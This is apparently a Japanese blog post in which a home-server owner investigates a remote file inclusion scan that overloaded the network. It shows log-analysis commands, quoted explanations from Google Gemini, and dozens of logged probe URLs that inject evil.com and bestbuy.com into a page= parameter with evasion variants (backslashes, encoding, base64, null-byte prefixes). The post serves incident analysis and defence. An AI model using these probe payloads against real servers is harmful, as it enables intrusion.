リモートファイルインクルージョン(RFI)を受けたので調べてみた
リモートファイルインクルージョン(RFI)を受けたので調べてみた
概要
更新履歴
目次
はじめに
このドキュメントはリモートファイルインクルージョン(RFI)攻撃を受けてネットワーク帯域が無駄に消費されサービス提供できない時間があったので,どのような攻撃があったか,被害はどうだったのかを調べて載せたものである.
状況
Youtubeで音楽を聴いていたら急に中断.グルグルになったのでリロードをしてもグルグル.自分のパソコンで外部アクセスしても出来ず,サーバアクセス,ルータアクセスしてもアクセス負荷.これはうちのルータが過負荷であると分かったので調査開始.
まずはSQL Injectionチェッカーで検出を確認したけど,何も出てない.そして調べている間にパトライトがネットワークダウンを検知して光ったのだけど,それをピークにネットワークアクセスが回復.
攻撃者を特定する
Webサーバにアクセスして,アクセスログからHTTPリクエストが多い通信元を調べるために集計.
server$ awk '{print $1}' access_log | sort | uniq -c | sort -nr | head -n 20🆑
1507 37.19.197.186🈁
131 69.197.174.173
74 89.222.120.72
67 192.168.20.47
66 176.191.71.112
32 58.183.177.104
32 210.157.194.254
28 153.134.159.215
27 180.55.189.1
27 124.211.221.138
26 123.222.98.132
15 89.187.179.5
15 185.191.171.11
13 85.208.96.209
12 185.191.171.1
11 85.208.96.211
11 85.208.96.200
11 185.191.171.14
10 85.208.96.210
10 185.191.171.15
server$
短時間に大量のアクセスが来ている.
IPアドレスの情報を確認.
$ whois 37.19.197.186🆑
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See https://docs.db.ripe.net/terms-conditions.html
% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.
% Information related to '37.19.196.0 - 37.19.197.255'
% Abuse contact for '37.19.196.0 - 37.19.197.255' is 'abuse@datacamp.co.uk'
inetnum: 37.19.196.0 - 37.19.197.255
netname: CDNEXT-NYC🈁
country: US
admin-c: DLTS1-RIPE
tech-c: DLTS1-RIPE
status: ASSIGNED PA
mnt-by: DATACAMP-MNT🈁
created: 2021-02-19T14:53:34Z
last-modified: 2022-03-08T13:50:43Z
source: RIPE
role: Datacamp Ltd. technical staff
address: DataCamp Limited
address: Coldbath Square 9
address: London
address: United Kingdom
nic-hdl: DLTS1-RIPE
abuse-mailbox: abuse@datacamp.co.uk
mnt-by: DATACAMP-MNT
tech-c: JP4750-RIPE
admin-c: JP4750-RIPE
created: 2014-06-23T09:09:30Z
last-modified: 2025-01-27T12:54:11Z
source: RIPE # Filtered
% Information related to '37.19.196.0/23AS212238'
route: 37.19.196.0/23
origin: AS212238
descr: CDNEXT NYC
mnt-by: DATACAMP-MNT
created: 2021-02-19T14:54:11Z
last-modified: 2022-03-08T13:50:42Z
source: RIPE
% This query was served by the RIPE Database Query Service version 1.121.2 (DEXTER)
$
ロンドンのCDNの業者.
AbuseIPDBで素性を確認.
アクセスログを確認
次のようなコマンドで対象IPアドレスのアクセスログを抽出し確認.
server$ grep "37.19.197.186" access_log | awk '{print $7}' | sort | uniq -c | sort -nr | head -n 20🆑
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=819&80003.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=5109&Disney20180330a.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=5103&Disney20180328c.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=5102&Disney20180328b.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=4799&20171008atami3.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=4785&20171007AtamiStation1.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=4783&20171007SuperViewOdoriko3.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=4782&20171007SuperViewOdoriko2.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=4781&20171007SuperViewOdoriko1.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=14377&DaosoJyosou500yen_C08240536.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=14029&DayPlusDriver1.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=13728&neko202412_1.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=13482&500kei2.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=11323&41x1.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=10459&kurazushi1.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=10458&368days.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=10456&Tomato2022.jpg=
1 /modules/xelfinder/index.php?page=x00http://bestbuy.com&file=10389&meijijingu20230112_2.jpg=
1 /modules/xelfinder/index.php?page=https:\\evil.com&file=7356&Display20200722.jpg=
1 /modules/xelfinder/index.php?page=https:\\evil.com&file=5103&Disney20180328c.jpg=
server$
これを見ると,index.phpに対して存在しないpageというパラメータをつけてhttps:\\evとして何かしらのURLを渡している.
Google Geminiに問い合わせてみた.
Q:
"GET /modules/d3blog/index.php?page=http:\\evil.com&cid=109 HTTP/1.1" 500 みたいなのがたくさんあるのですが,これは何を狙っていますか?
A:
これは「リモートファイルインクルージョン(RFI)」と、それに伴う「サーバー内でのコード実行」を狙った典型的な攻撃です。
1. 攻撃の仕組みと狙い
攻撃者は、page= というパラメータに外部サイトのURL(http:\\evil.com)を無理やり流し込んでいます。
プログラムのミスを悪用: もしプログラムが include($_GET['page']);
のように、送られてきた値をそのまま読み込む作りになっていた場合、自分のサーバーにあるファイルではなく、攻撃者のサーバーにある不正なプログラム
(PHPスクリプトなど)を読み込んで実行してしまいます。
最終目的: あなたのサーバーを完全に乗っ取り、情報の窃取、ファイルの改ざん、あるいは他のサイトを攻撃するための「踏み台」にすることです。
2. なぜバックスラッシュ(\\)を使っているのか?
URLの区切りは通常 / ですが、あえて \\ を使っているのは、サーバー側のセキュリティフィルター(WAFなど)の目を盗むための「難読化」というテクニックです。
3 . 「500」エラーの意味
ステータスコードが 「500 (Internal Server Error)」 になっている点は、今のところ「攻撃は失敗している(=防御できている)」可能性が高いことを示しています。
なぜ500になったか: page= に不適切な値が入ったことでプログラムがエラーを起こし、処理を中断したと考えられます。
負荷の原因: この「500エラー」を出す処理そのものが、サーバーやデータベースに大きな負荷を与えます。これが大量に(秒間何十回も)繰り返されたことで、全体の通信エラーに繋がったのでしょう。
今すぐ確認すべきこと
この page= パラメータへの攻撃は、d3blogそのものだけでなく、他のモジュールや古いPHP設定でもよく狙われます。
他のリクエストで、同じIPアドレスから「200(成功)」を返しているものはありませんか? 全てが500であればひとまず安心ですが、一つでも200があると、何らかのファイルが読み込まれてしまった恐れ があります。
アクセスログの詳細調査を実施
server$ grep " 500 " access_log | grep "37.19.197.186"| wc -l🆑
1257
server$ grep " 200 " access_log | grep "37.19.197.186"| wc -l🆑
250🈁
server$
多くは500エラーで失敗しているが,HTTP 200番もかなりある.
もし以下のリクエストで「200」が返っていた場合、それぞれ以下の被害が懸念されます。
page=http://... で 200 の場合(RFI攻撃) 外部の攻撃コードがサーバー内で実行された可能性があります。サーバーに「不審なファイル(PHP等)」が設置されていないか、至急確認が必要です。cid=数値' ... で 200 の場合(SQLi攻撃) 攻撃文が正しく処理され、データベースの情報(ユーザー情報や設定)が画面上に表示、あるいは攻撃者に送信された可能性があります。
2. なぜ「500」と「200」が混在しているのか?
攻撃者は、どのパラメータが「脆弱であるか」を探るために、値を少しずつ変えて送ります。
500エラー : プログラムが想定外の値でクラッシュした(防御、あるいは単なる構文エラー)。200成功 : 攻撃者が仕込んだコードが、プログラムのチェックをすり抜けて処理された。
その別のIPアドレスが行った「200」のログを数行、詳しく見てみてください。
レスポンスサイズ(バイト数)の変化 他の正常なアクセスと比べて、200を返している攻撃リクエストの応答サイズが極端に違わないか?実行されたファイル d3blog/index.php 以外にも、admin.php や config.php など、より重要なファイルにアクセスしようとした形跡はないか?
レスポンスサイズやレスポンスに問題はなく,該当IPアドレスから実行されたファイルもない.
ブロックは済んでいるとのことですが、念のため以下を確認してください。
管理者パスワードの変更 : データベースの情報が抜かれた可能性があるため、念のため変更してください。ファイルの整合性チェック : d3blog フォルダ内に、見覚えのない .php ファイルが増えていないか確認してください。
次のコマンドで更新されたファイルを調べる.この場合120分以内のファイル.
find /調べたいフォルダのパス -mmin -120
調べた結果,不審な更新されたファイルは見当たらなかった.
更新されたファイルがなかったとのこと、まずは一安心です。攻撃者がサーバー内に 「バックドア(不正なファイル)」を設置することには失敗した 、あるいはそこまでの権限は取れなかったと考えられます。ファイル改ざんがなかった場合、次に警戒すべきは「データの持ち出し」 です。271回成功(200 OK)していたリクエストは、以下のいずれかであった可能性が高いです。 攻撃者が送った不正なパラメータ(
cid=...など)をプログラムが単に無視して、
「通常のトップ画面」を返しただけ のケースです。
確認方法: ログにある「200」のリクエストのレスポンスサイズ(バイト数)が、あなたが普通にブラウザでアクセスした時のサイズと同じであれば、実害はなかったと言えます。これが最も厄介なケースです。画面が書き換わらなくても、攻撃者は「応答速度の違い」や「画面のわずかな変化」 で、データベースの中身を一文字ずつ読み取ります。 例えば、「もしパスワードの1文字目が 'a' なら200を返し、違えば404を返せ」というようなクエリを大量に送り、200が返る組み合わせを探します。 1500回以上のリクエストがあったのは、この「一文字ずつの照合」を行っていた形跡かもしれません。 脆弱性ではなく、単に記事の内容を大量に読み出してコピー(保存)したために、200が並んでいる可能性もあります。
index.php?page=\\\\bestbuy.com&cid=143 HTTP/1.1" 200 79294 "-" "Mozilla/5.0 (Wi
index.php?page=aHR0cDovL3d3dy5obS5jb20&cid=128 HTTP/1.1" 200 80656 "-" "Mozilla
index.php?page=http:\\evil.com&cid=143 HTTP/1.1" 200 79295 "-" "Mozilla/5.0 (Wi
index.php?page=/bestbuy.com/%2f..&cid=132 HTTP/1.1" 200 74417 "-" "Mozilla/5.0
index.php?page=bestbuy.com&cid=135 HTTP/1.1" 200 87994 "-" "Mozilla/5.0 (Window
index.php?page=bestbuy.com&cid=153 HTTP/1.1" 200 60330 "-" "Mozilla/5.0 (Window
index.php?page=////evil.com&cid=128 HTTP/1.1" 200 80645 "-" "Mozilla/5.0 (Windo
index.php?page=////bestbuy.com&cid=112 HTTP/1.1" 200 75536 "-" "Mozilla/5.0 (Wi
index.php?page=\\\\bestbuy.com&cid=153 HTTP/1.1" 200 60332 "-" "Mozilla/5.0 (Wi
index.php?page=https://evil.com&cid=109 HTTP/1.1" 200 71079 "-" "Mozilla/5.0 (W
index.php?page=/\\/evil.com&cid=128 HTTP/1.1" 200 80644 "-" "Mozilla/5.0 (Windo
index.php?page=https://www.bestbuy.com&cid=140 HTTP/1.1" 200 84524 "-" "Mozilla
index.php?page=https:\\evil.com&cid=144 HTTP/1.1" 200 57980 "-" "Mozilla/5.0 (W
index.php?page=https://evil.com&cid=133 HTTP/1.1" 200 88728 "-" "Mozilla/5.0 (W
index.php?page=http%3A%2F%2Fwww.bestbuy.com&cid=153 HTTP/1.1" 200 60347 "-" "Mo
index.php?page=/\\/\\bestbuy.com&cid=143 HTTP/1.1" 200 79296 "-" "Mozilla/5.0 (
index.php?page=\\x20http://bestbuy.com&cid=153 HTTP/1.1" 200 60341 "-" "Mozilla
index.php?page=//evil.com&cid=144 HTTP/1.1" 200 57975 "-" "Mozilla/5.0 (Windows
index.php?page=http:\\evil.com&cid=112 HTTP/1.1" 200 75535 "-" "Mozilla/5.0 (Wi
index.php?page=x00http://bestbuy.com&cid=144 HTTP/1.1" 200 57986 "-" "Mozilla/5
index.php?page=http\\x3A\\x2F\\x2Fbestbuy.com&cid=112 HTTP/1.1" 200 75548 "-" "
index.php?page=https%3A%2F%2Fwww.bestbuy.com&cid=132 HTTP/1.1" 200 74428 "-" "M
index.php?page=HtTPs://evil.com&cid=109 HTTP/1.1" 200 71079 "-" "Mozilla/5.0 (W
index.php?page=//evil.com&cid=13 HTTP/1.1" 200 182766 "-" "Mozilla/5.0 (Windows
index.php?page=//evil.com/%2e%2e&cid=107 HTTP/1.1" 200 280279 "-" "Mozilla/5.0
index.php?page=//bestbuy.com/%2f..&cid=110 HTTP/1.1" 200 235917 "-" "Mozilla/5.
index.php?page=bestbuy.com&cid=15 HTTP/1.1" 200 228272 "-" "Mozilla/5.0 (Window
index.php?page=\\x20http://bestbuy.com&cid=142 HTTP/1.1" 200 170783 "-" "Mozill
index.php?page=//bestbuy%E3%80%82com&cid=16 HTTP/1.1" 200 210556 "-" "Mozilla/5
index.php?page=//evil.com&cid=16 HTTP/1.1" 200 210545 "-" "Mozilla/5.0 (Windows
index.php?page=x00http://bestbuy.com&cid=107 HTTP/1.1" 200 280283 "-" "Mozilla/
index.php?page=/\\/\\bestbuy.com&cid=13 HTTP/1.1" 200 182771 "-" "Mozilla/5.0 (
index.php?page=\\x20http://bestbuy.com&cid=14 HTTP/1.1" 200 182615 "-" "Mozilla
index.php?page=http://www.bestbuy.com&cid=150 HTTP/1.1" 200 163759 "-" "Mozilla
index.php?page=https%3A%2F%2Fwww.bestbuy.com&cid=14 HTTP/1.1" 200 182622 "-" "M
index.php?page=aHR0cDovL3d3dy5obS5jb20&cid=114 HTTP/1.1" 200 181976 "-" "Mozill
index.php?page=\\\\bestbuy.com&cid=145 HTTP/1.1" 200 66871 "-" "Mozilla/5.0 (Wi
index.php?page=//bestbuy.com/%2f..&cid=14 HTTP/1.1" 200 182612 "-" "Mozilla/5.0
index.php?page=//bestbuy%E3%80%82com&cid=137 HTTP/1.1" 200 233109 "-" "Mozilla/
index.php?page=aHR0cDovL3d3dy5obS5jb20&cid=117 HTTP/1.1" 200 223396 "-" "Mozill
index.php?page=http://evil.com&cid=10 HTTP/1.1" 200 187240 "-" "Mozilla/5.0 (Wi
index.php?page=http:\\evil.com&cid=103 HTTP/1.1" 200 80734 "-" "Mozilla/5.0 (Wi
index.php?page=https:\\evil.com&cid=132 HTTP/1.1" 200 74414 "-" "Mozilla/5.0 (W
index.php?page=//bestbuy.com/%2f..&cid=154 HTTP/1.1" 200 70576 "-" "Mozilla/5.0
index.php?page=HtTPs://evil.com&cid=153 HTTP/1.1" 200 60335 "-" "Mozilla/5.0 (W
index.php?page=/\\/\\bestbuy.com&cid=140 HTTP/1.1" 200 84516 "-" "Mozilla/5.0 (
index.php?page=http:\\evil.com&cid=153 HTTP/1.1" 200 60333 "-" "Mozilla/5.0 (Wi
これを見ると,evil.comがあるので,何か脆弱性がないか探っている感じに見える.
evil.comは、主にセキュリティ関連の解説記事、教育資料、あるいは脆弱性検証(POC)のサンプルコードにおいて、 「攻撃者が管理する悪意のある外部サイト」の例え として使用されるダミーのドメイン名です。実際の犯罪サイトではなく、概念的な脅威を示す場所として広く使われています。
ご提示いただいたログを分析すると、非常に重要な事実がわかります。
結論:
RFI攻撃は「失敗(空振り)」している可能性が高い です
ステータスが「200」なので一見成功したように見えますが、以下の理由から、攻撃コードは実行されず、単に「d3blogの通常の記事一覧画面」が表示されただけ だと推測できます。
レスポンスサイズが cid(カテゴリID)に連動している cid=15 のリクエストは、URLの中身が evil.com でも bestbuy.com でも、サイズが約 228,280前後 でほぼ一定です。cid=11 は約 195,930前後 、cid=12 は約 179,840前後 です。これは、プログラムが page= の不正な値を単に無視 し、後ろに続く cid に基づいて記事一覧を表示していることを示しています。もしRFIが成功していれば、サイズはもっと小さくなるか、外部サイトの内容に応じた全く別の数字になります。 標的が大手サイト(bestbuy.com) 攻撃者は、evil.com や bestbuy.com といった有名なドメインを使い、サーバーが外部へ接続してそれらを取り込む設定(脆弱性)があるかをテストしています。
攻撃の種類 : リモートファイルインクルード(RFI)およびオープンリダイレクトの脆弱性スキャンです。現状 : サーバーは page= パラメータを処理しておらず、実害は出ていないと考えられます。ただし、攻撃者は「200」が返ってくることを受けて、「さらに深掘りすれば何か見つかるかも」と考え、スキャンを続行した結果、高負荷につながったのでしょう。
攻撃者は、evil.com や bestbuy.com といった有名なドメインを使い、サーバーが外部へ接続してそれらを取り込む設定(脆弱性)があるかをテストしています。
PHPの設定で RFI を物理的に無効化できているか確認すると、より安心です。
php.ini を開くallow_url_include = Off になっているか確認する(通常はデフォルトで Off です)
この設定が Off であれば、今回のような攻撃は100%成功しません。
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = Off
server$ grep 37.19.197.186 access_log| awk '{print $4}'| cut -d: -f2,3 | uniq -c|sort -r|head -n 20🆑
982 17:56🈁
165 17:57
62 17:58
33 17:58
31 17:58
26 17:58
22 17:57
22 17:55
18 17:55
12 17:57
11 17:59
11 17:58
6 17:55
5 17:55
5 17:55
4 17:56
4 17:56
4 17:55
4 17:55
4 17:55
server$
ちょうど見ていたYoutubeが途切れた時間帯だ.